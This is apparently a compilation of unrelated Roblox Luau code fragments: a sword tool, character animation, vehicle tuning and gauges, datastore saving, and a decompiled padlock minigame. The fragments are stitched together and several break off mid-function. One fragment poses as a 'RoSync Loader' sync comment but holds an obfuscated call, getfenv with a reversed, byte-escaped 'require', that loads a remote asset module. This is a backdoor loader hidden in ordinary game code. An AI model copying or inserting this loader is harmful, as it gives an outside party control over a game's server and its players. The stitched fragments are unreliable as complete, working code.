Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
attack()
wait(.5)
Tool.Enabled = true
end
function onEquipped()
SlashSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
-- Destroys this cache entirely. Use this when you don't need this cache object anymore. |
function PartCacheStatic:Dispose()
assert(getmetatable(self) == PartCacheStatic, ERR_NOT_INSTANCE:format("Dispose", "PartCache.new"))
for i = 1, #self.Open do
self.Open[i]:Destroy()
end
for i = 1, #self.InUse do
self.InUse[i]:Destroy()
end
self.Template:Destroy()
self.Open = {}
self.InUse = {}
self.CurrentCacheParent = nil
self.GetPart = nil
self.ReturnPart = nil
self.SetCacheParent = nil
self.Expand = nil
self.Dispose = nil
end
return PartCacheStatic
|
--[=[
Destroy the ServerComm object.
]=] |
function ServerComm:Destroy()
self._instancesFolder:Destroy()
end
|
--Made by Luckymaxer |
Figure = script.Parent
RunService = game:GetService("RunService")
Creator = Figure:FindFirstChild("Creator")
Humanoid = Figure:WaitForChild("Humanoid")
Head = Figure:WaitForChild("Head")
Torso = Figure:WaitForChild("Torso")
Neck = Torso:WaitForChild("Neck")
LeftShoulder = Torso:WaitForChild("Left Shoulder")
RightShoulder = Torso:WaitForChild("Right Shoulder")
LeftHip = Torso:WaitForChild("Left Hip")
RightHip = Torso:WaitForChild("Right Hip")
for i, v in pairs({--[[Neck, ]]LeftShoulder, RightShoulder, LeftHip, RightHip}) do
if v and v.Parent then
v.DesiredAngle = 0
v.CurrentAngle = 0
end
end
Pose = "None"
LastPose = Pose
PoseTime = tick()
ToolAnimTime = 0
function SetPose(pose)
LastPose = Pose
Pose = pose
PoseTime = tick()
end
function OnRunning(Speed)
if Speed > 0 then
SetPose("Running")
else
SetPose("Standing")
end
end
function OnDied()
SetPose("Dead")
end
function OnJumping()
SetPose("Jumping")
end
function OnClimbing()
SetPose("Climbing")
end
function OnGettingUp()
SetPose("GettingUp")
end
function OnFreeFall()
SetPose("FreeFall")
end
function OnFallingDown()
SetPose("FallingDown")
end
function OnSeated()
SetPose("Seated")
end
function OnPlatformStanding()
SetPose("PlatformStanding")
end
function OnSwimming(Speed)
return OnRunning(Speed)
end
function MoveJump()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder.DesiredAngle = 0.5
LeftShoulder.DesiredAngle = -0.5
RightHip.DesiredAngle = -0.5
LeftHip.DesiredAngle = 0.5
end
function MoveFreeFall()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder.DesiredAngle = 0.5
LeftShoulder.DesiredAngle = -0.5
RightHip.DesiredAngle = -0.5
LeftHip.DesiredAngle = 0.5
end
function MoveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder.DesiredAngle = (math.pi / 2)
LeftShoulder.DesiredAngle = -(math.pi / 2)
RightHip.DesiredAngle = 1
LeftHip.DesiredAngle = -1
end
function GetTool()
for i, v in pairs(Figure:GetChildren()) do
if v:IsA("Tool") then
return v
end
end
end
function GetToolAnim(Tool)
for i, v in pairs(Tool:GetChildren()) do
if v:IsA("StringValue") and v.Name == "ToolAnim" then
return v
end
end
return nil
end
function AnimateTool()
if (ToolAnim == "None") then
return
end
if (ToolAnim == "Slash") then
RightShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
return
end
if (ToolAnim == "Lunge") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightHip.MaxVelocity = 0.5
LeftHip.MaxVelocity = 0.5
RightShoulder.DesiredAngle = (math.pi / 2)
LeftShoulder.DesiredAngle = 0
RightHip.DesiredAngle = (math.pi / 2)
LeftHip.DesiredAngle = 1
return
end
end
function Move(Time)
local LimbAmplitude
local LimbFrequency
local NeckAmplitude
local NeckFrequency
local NeckDesiredAngle
if (Pose == "Jumping") then
MoveJump()
return
elseif (Pose == "FreeFall") then
MoveFreeFall()
return
elseif (Pose == "Seated") then
MoveSit()
return
end
local ClimbFudge = 0
if (Pose == "Running") then
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
LimbAmplitude = 1
LimbFrequency = 9
NeckAmplitude = 0
NeckFrequency = 0
NeckDesiredAngle = 0
--[[if Creator and Creator.Value and Creator.Value:IsA("Player") and Creator.Value.Character then
local CreatorCharacter = Creator.Value.Character
local CreatorHead = CreatorCharacter:FindFirstChild("Head")
if CreatorHead then
local TargetPosition = CreatorHead.Position
local Direction = Torso.CFrame.lookVector
local HeadPosition = Head.Position
NeckDesiredAngle = ((((HeadPosition - TargetPosition).Unit):Cross(Direction)).Y / 4)
end
end]]
elseif (Pose == "Climbing") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
LimbAmplitude = 1
LimbFrequency = 9
NeckAmplitude = 0
NeckFrequency = 0
NeckDesiredAngle = 0
ClimbFudge = math.pi
else
LimbAmplitude = 0.1
LimbFrequency = 1
NeckAmplitude = 0.25
NeckFrequency = 1.25
end
NeckDesiredAngle = ((not NeckDesiredAngle and (NeckAmplitude * math.sin(Time * NeckFrequency))) or NeckDesiredAngle)
local LimbDesiredAngle = (LimbAmplitude * math.sin(Time * LimbFrequency))
--Neck.DesiredAngle = NeckDesiredAngle
RightShoulder.DesiredAngle = (LimbDesiredAngle + ClimbFudge)
LeftShoulder.DesiredAngle = (LimbDesiredAngle - ClimbFudge)
RightHip.DesiredAngle = -LimbDesiredAngle
LeftHip.DesiredAngle = -LimbDesiredAngle
local Tool = GetTool()
if Tool then
local AnimStringValueObject = GetToolAnim(Tool)
if AnimStringValueObject then
ToolAnim = AnimStringValueObject.Value
if AnimStringValueObject and AnimStringValueObject.Parent then
AnimStringValueObject:Destroy()
end
ToolAnimTime = (Time + 0.3)
end
if Time > ToolAnimTime then
ToolAnimTime = 0
ToolAnim = "None"
end
AnimateTool()
else
ToolAnim = "None"
ToolAnimTime = 0
end
end
Humanoid.Died:connect(OnDied)
Humanoid.Running:connect(OnRunning)
Humanoid.Jumping:connect(OnJumping)
Humanoid.Climbing:connect(OnClimbing)
Humanoid.GettingUp:connect(OnGettingUp)
Humanoid.FreeFalling:connect(OnFreeFall)
Humanoid.FallingDown:connect(OnFallingDown)
Humanoid.Seated:connect(OnSeated)
Humanoid.PlatformStanding:connect(OnPlatformStanding)
Humanoid.Swimming:connect(OnSwimming)
Humanoid:ChangeState(Enum.HumanoidStateType.None)
RunService.Stepped:connect(function()
local _, Time = wait(0.1)
Move(Time)
end)
|
------------------------------------------------------------------------
-- returns a 4-char string little-endian encoded form of an instruction
------------------------------------------------------------------------ |
function luaP:Instruction(i)
if i.Bx then
-- change to OP/A/B/C format
i.C = i.Bx % 512
i.B = (i.Bx - i.C) / 512
end
local I = i.A * 64 + i.OP
local c0 = I % 256
I = i.C * 64 + (I - c0) / 256 -- 6 bits of A left
local c1 = I % 256
I = i.B * 128 + (I - c1) / 256 -- 7 bits of C left
local c2 = I % 256
local c3 = (I - c2) / 256
return string.char(c0, c1, c2, c3)
end
|
--[[Steering]] |
Tune.SteerInner = 45 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 45 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .05 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 100000 -- Steering Aggressiveness
|
--// Ammo Settings |
Ammo = 32;
StoredAmmo = 33;
MagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;
ExplosiveAmmo = 3;
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 301 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6500 -- Use sliders to manipulate values
Tune.Redline = 7000.01 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 6500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 100 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--!strict |
local Array = script.Parent.Parent
local LuauPolyfill = Array.Parent
local types = require(LuauPolyfill.types)
type Object = types.Object
type Array<T> = types.Array<T>
type mapFn<T, U> = (element: T, index: number) -> U
type mapFnWithThisArg<T, U> = (thisArg: any, element: T, index: number) -> U
return function<T, U>(
value: string,
mapFn: (mapFn<T, U> | mapFnWithThisArg<T, U>)?,
thisArg: Object?
-- FIXME Luau: need overloading so the return type on this is more sane and doesn't require manual casts
): Array<U> | Array<T> | Array<string>
local array = {}
local valueStringLength = #value
array = table.create(valueStringLength)
if mapFn then
for i = 1, valueStringLength do
if thisArg ~= nil then
(array :: Array<U>)[i] = (mapFn :: mapFnWithThisArg<T, U>)(thisArg, string.sub(value, i, i) :: any, i)
else
(array :: Array<U>)[i] = (mapFn :: mapFn<T, U>)(string.sub(value, i, i) :: any, i)
end
end
else
for i = 1, valueStringLength do
(array :: Array<string>)[i] = string.sub(value, i, i)
end
end
return array
end
|
--Turbocharger |
local BOV_Loudness = 5 --volume of the BOV (not exact volume so you kinda have to experiment with it)
local BOV_Pitch = 0.9 --max pitch of the BOV (not exact so might have to mess with it)
local T_Loudness = 2 --volume of the turbo(s) (not exact volume so you kinda have to experiment with it also)
|
-- Services |
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerStorage = game:GetService("ServerStorage")
|
--[[ Last synced 11/17/2020 05:06 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
-- Local Variables |
local Events = game.ReplicatedStorage.Events
local DisplayIntermission = Events.DisplayIntermission
local DisplayNotification = Events.DisplayNotification
local DisplayTimerInfo = Events.DisplayTimerInfo
local DisplayVictory = Events.DisplayVictory
local DisplayScore = Events.DisplayScore
local StarterGui = game.StarterGui
|
--Automatic Gauge Scaling |
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
end
end
for i=0,revEnd*2 do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = script.Parent.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",script.Parent.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = script.Parent.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if script.Parent.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.Parent.Adornee=car.Body.Gauges
script.Parent.Parent.CanvasSize=Vector2.new(1000,1000)
script.Parent.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)
script.Parent.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Parent.Values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
script.Parent.Gear.Text = gearText
end)
script.Parent.Parent.Parent.Values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.Parent.Parent.Values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
end
else
if script.Parent.TCS.Visible then
script.Parent.TCS.Visible = false
end
end
end)
script.Parent.Parent.Parent.Values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Parent.Values.ABS.Value then
script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Parent.Values.ABSActive.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = true
script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.Parent.Parent.Values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.Parent.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
end
else
if script.Parent.ABS.Visible then
script.Parent.ABS.Visible = false
end
end
end)
function PBrake()
script.Parent.PBrake.Visible = script.Parent.Parent.Parent.Values.PBrake.Value
end
script.Parent.Parent.Parent.Values.PBrake.Changed:connect(PBrake)
function Gear()
if script.Parent.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "A/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif script.Parent.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "S/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
script.Parent.TMode.Text = "M/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end
script.Parent.Parent.Parent.Values.TransmissionMode.Changed:connect(Gear)
script.Parent.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speedo.Needle.Rotation =45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
script.Parent.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(script.Parent.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
wait(.1)
Gear()
PBrake()
|
--[[
Creates a new copy of the dictionary and sets a value inside it.
]] |
function Immutable.Set(dictionary, key, value)
local new = {}
for k, v in pairs(dictionary) do
new[k] = v
end
new[key] = value
return new
end
|
--Don't worry about the rest of the code, except for line 25. |
game.Players.PlayerAdded:connect(function(player)
wait(.1)
local leader = Instance.new("Folder",player)
leader.Name = "Skins"
local Cash = Instance.new("StringValue",leader)
Cash.Name = stat
Cash.Value = ds:GetAsync(player.UserId) or startamount
ds:SetAsync(player.UserId, Cash.Value)
Cash.Changed:connect(function()
ds:SetAsync(player.UserId, Cash.Value)
end)
end)
game.Players.PlayerRemoving:connect(function(player)
wait(.1)
ds:SetAsync(player.UserId, player.Skins.Equipped.Value) --Change "Points" to the name of your leaderstat.
end)
|
-- Decompiled with the Synapse X Luau decompiler. |
return function(p1)
print("starting");
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local v2 = require(l__LocalPlayer__1:WaitForChild("PlayerScripts"):WaitForChild("PlayerModule")):GetControls();
local v3 = game["Run Service"];
local l__UserInputService__4 = game:GetService("UserInputService");
local l__TweenService__5 = game:GetService("TweenService");
local l__mouse__6 = l__LocalPlayer__1:GetMouse();
local l__MinigameBackout__7 = script:FindFirstAncestor("MainUI").MinigameBackout;
p1.stopcam = true;
p1.freemouse = true;
p1.hideplayers = 2;
local v8 = CFrame.new(0, 0, 0);
local v9 = tick() + 1;
local v10 = tick() + 1;
local l__Padlock__11 = workspace:FindFirstChild("Padlock", true);
local l__Selector__12 = l__Padlock__11:FindFirstChild("Selector", true);
l__Padlock__11.ConfirmUI.Enabled = l__UserInputService__4.GamepadEnabled;
l__Selector__12.Visible = l__UserInputService__4.GamepadEnabled;
local l__WorldCFrame__13 = workspace:FindFirstChild("CamAttachPadlock", true).WorldCFrame;
local l__CFrame__1 = p1.cam.CFrame;
local l__FieldOfView__2 = p1.cam.FieldOfView;
local u3 = false;
task.spawn(function()
for v14 = 1, 100000 do
task.wait();
local v15 = l__TweenService__5:GetValue((1 - math.abs(tick() - v9)) / 1, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut);
if not (tick() <= v9) then
break;
end;
p1.cam.CFrame = l__CFrame__1:Lerp(l__WorldCFrame__13, v15) * p1.csgo;
p1.cam.FieldOfView = l__FieldOfView__2 + (30 - l__FieldOfView__2) * v15;
end;
p1.cam.CFrame = l__WorldCFrame__13 * p1.csgo;
for v16 = 1, 10000000000000 do
task.wait();
p1.cam.CFrame = l__WorldCFrame__13 * p1.csgo;
if u3 == true then
break;
end;
end;
end);
local l__ActivateEventPrompt__17 = l__Padlock__11:FindFirstChild("ActivateEventPrompt");
l__ActivateEventPrompt__17.Enabled = false;
local l__AnimationController__18 = l__Padlock__11.AnimationController;
local v19 = {};
for v20, v21 in pairs(l__Padlock__11:FindFirstChild("Animations"):GetChildren()) do
v19[v21.Name] = l__AnimationController__18:LoadAnimation(v21);
end;
v19.start:Play(0.1);
v19.idle:Play(0.2);
local v22 = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };
local l__MinigameBackout__23 = script.Parent.Parent.Parent.Parent.MinigameBackout;
l__MinigameBackout__23.Visible = true;
l__TweenService__5:Create(l__MinigameBackout__23, TweenInfo.new(0.4, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 3, true), {
ImageColor3 = Color3.fromRGB(107, 129, 179),
Size = UDim2.new(0.1, 60, 0.1, 60)
}):Play();
local u4 = nil;
local u5 = nil;
local u6 = nil;
local u7 = nil;
local u8 = v10;
local function u9(p2, p3)
p2.NumberUI.TextLabel.Text = p3;
for v24, v25 in pairs(p2:GetChildren()) do
if v25:IsA("BasePart") and v25:FindFirstChild("NumberUI") then
local v26 = 1;
if v25.Name == "NumberTop" then
v26 = 2;
elseif v25.Name == "NumberBelow" then
v26 = -1;
elseif v25.Name == "NumberBottom" then
v26 = -2;
end;
local v27 = (p3 + v26) % 10;
if v27 == nil then
warn("idk lol");
v27 = 0;
end;
v25.NumberUI.TextLabel.Text = v27;
end;
end;
end;
local function u10(p4, p5)
if tick() < u8 then
return;
end;
if p5 == nil then
p5 = 1;
end;
local v28 = (tonumber(p4.NumberUI.TextLabel.Text) + p5) % 10;
if v28 == nil then
warn("idk lol");
v28 = 0;
end;
p4.Sound.Pitch = 1 + p5 / 10 + v28 / 30;
p4.Sound:Play();
u9(p4, v28);
local l__Weld__29 = p4.Weld;
l__Weld__29.C0 = l__Weld__29.C0 * CFrame.Angles(math.rad(45 * p5), 0, 0);
l__TweenService__5:Create(p4.Weld, TweenInfo.new(0.2, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
C0 = CFrame.new(0, 0, 0)
}):Play();
end;
local function u11()
v19.input:Play();
u8 = tick() + 1;
local v30 = "";
for v31 = 1, 5 do
for v32, v33 in pairs(l__Padlock__11:GetDescendants()) do
if v33.Name == "Number" and v33:IsA("BasePart") and v33:GetAttribute("ID") == v31 then
v30 = v30 .. tostring(v33.NumberUI.TextLabel.Text);
end;
end;
end;
p1.remotes:WaitForChild("PL"):FireServer(v30);
wait(0.3);
for v34, v35 in pairs(l__Padlock__11:GetDescendants()) do
if v35.Name == "Number" and v35:IsA("BasePart") then
local l__Weld__36 = v35.Weld;
l__Weld__36.C0 = l__Weld__36.C0 * CFrame.Angles(3.141592653589793, 0, 0);
l__TweenService__5:Create(v35.Weld, TweenInfo.new(0.4, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
C0 = CFrame.new(0, 0, 0)
}):Play();
u9(v35, 0);
end;
end;
end;
local function u12()
if u3 == false then
pcall(function()
u4:Disconnect();
u5:Disconnect();
u6:Disconnect();
u7:Disconnect();
end);
u3 = true;
p1.hideplayers = 0;
l__MinigameBackout__23.Visible = false;
v19["end"]:Play();
v19.idle:Stop();
l__Padlock__11.ConfirmUI.Enabled = false;
l__Selector__12.Visible = false;
local l__basecamcf__37 = p1.basecamcf;
local v38 = tick() + 0.5;
local l__CFrame__13 = p1.cam.CFrame;
local l__FieldOfView__14 = p1.cam.FieldOfView;
task.spawn(function()
for v39 = 1, 100000 do
task.wait();
local v40 = l__TweenService__5:GetValue((0.5 - math.abs(tick() - v38)) / 0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut);
if not (tick() <= v38) then
break;
end;
p1.cam.CFrame = l__CFrame__13:Lerp(p1.basecamcf, v40) * p1.csgo;
p1.cam.FieldOfView = l__FieldOfView__14 + (p1.fovspring - l__FieldOfView__14) * v40;
end;
p1.stopcam = false;
p1.freemouse = false;
l__ActivateEventPrompt__17.Enabled = l__Padlock__11.Padlocked.Value;
end);
end;
end;
local u15 = 1;
u4 = l__UserInputService__4.InputBegan:Connect(function(p6)
if p6.UserInputType == Enum.UserInputType.MouseButton1 or p6.UserInputType == Enum.UserInputType.Touch then
local v41 = p1.cam:ScreenPointToRay(p6.Position.X, p6.Position.Y);
local v42, v43 = workspace:FindPartOnRay(Ray.new(v41.Origin, v41.Direction * 1000), p1.char);
if v42.Name == "Number" then
u10(v42);
return;
end;
if v42.Name == "ConfirmButton" or v42.Name == "ConfirmUIHolder" then
u11();
return;
end;
elseif p6.UserInputType == Enum.UserInputType.MouseButton2 then
local v44 = p1.cam:ScreenPointToRay(p6.Position.X, p6.Position.Y);
local v45, v46 = workspace:FindPartOnRay(Ray.new(v44.Origin, v44.Direction * 1000), p1.char);
if v45.Name == "Number" then
u10(v45, -1);
return;
end;
if v45.Name == "ConfirmButton" then
u11();
return;
end;
else
if p6.KeyCode == Enum.KeyCode.ButtonA then
u11();
return;
end;
if p6.KeyCode == Enum.KeyCode.ButtonB then
u12();
return;
end;
if p6.KeyCode == Enum.KeyCode.ButtonX or p6.KeyCode == Enum.KeyCode.DPadUp then
for v47, v48 in pairs(l__Padlock__11:GetDescendants()) do
if v48.Name == "Number" and v48:IsA("BasePart") and v48:GetAttribute("ID") == u15 then
u10(v48);
end;
end;
return;
end;
if p6.KeyCode == Enum.KeyCode.DPadDown then
for v49, v50 in pairs(l__Padlock__11:GetDescendants()) do
if v50.Name == "Number" and v50:IsA("BasePart") and v50:GetAttribute("ID") == u15 then
u10(v50, -1);
end;
end;
return;
end;
if p6.KeyCode == Enum.KeyCode.DPadLeft or p6.KeyCode == Enum.KeyCode.DPadRight then
if p6.KeyCode == Enum.KeyCode.DPadRight then
u15 = math.clamp(u15 + 1, 1, 5);
else
u15 = math.clamp(u15 - 1, 1, 5);
end;
for v51, v52 in pairs(l__Padlock__11:GetDescendants()) do
if v52.Name == "Number" and v52:IsA("BasePart") and v52:GetAttribute("ID") == u15 then
l__Selector__12.Parent = v52.NumberUI.TextLabel;
end;
end;
end;
end;
end);
u5 = l__MinigameBackout__23.MouseButton1Down:Connect(u12);
u6 = l__Padlock__11.Padlocked.Changed:connect(function()
if l__Padlock__11.Padlocked.Value == false then
u12();
end;
end);
u7 = l__LocalPlayer__1.Character.Humanoid.HealthChanged:Connect(function()
if l__LocalPlayer__1.Character.Humanoid.Health < 0.1 then
u12();
end;
end);
if l__Padlock__11.Padlocked.Value == false then
u12();
end;
spawn(function()
local v53, v54, v55 = pairs(l__Padlock__11:GetDescendants());
while true do
local v56, v57 = v53(v54, v55);
if not v56 then
break;
end;
if v57.Name == "Number" and v57:IsA("BasePart") then
delay(v57:GetAttribute("ID") / 20, function()
l__TweenService__5:Create(v57, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 1, true), {
Color = Color3.fromRGB(159, 160, 221)
}):Play();
end);
end;
if v57.Name == "ConfirmButton" and v57:IsA("BasePart") then
delay(2, function()
l__TweenService__5:Create(v57, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, 0, true), {
Color = Color3.fromRGB(139, 255, 158)
}):Play();
end);
end;
end;
end);
if u3 == true then
return;
end;
end;
|
-- tu dois assigner la bonne couleur |
local plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Name
local normalBorderColor = script.Parent.TextLabel.TextColor.Color
function Click(mouse)
if game.Players[plr].TeamColor ~= game.Teams:FindFirstChild(script.Parent.Name).TeamColor then
game.Players[plr].TeamColor = game.Teams:FindFirstChild(script.Parent.Name).TeamColor
script.Parent.Border.ImageColor3 = Color3.new(0.333333, 1, 0)
wait(.25)
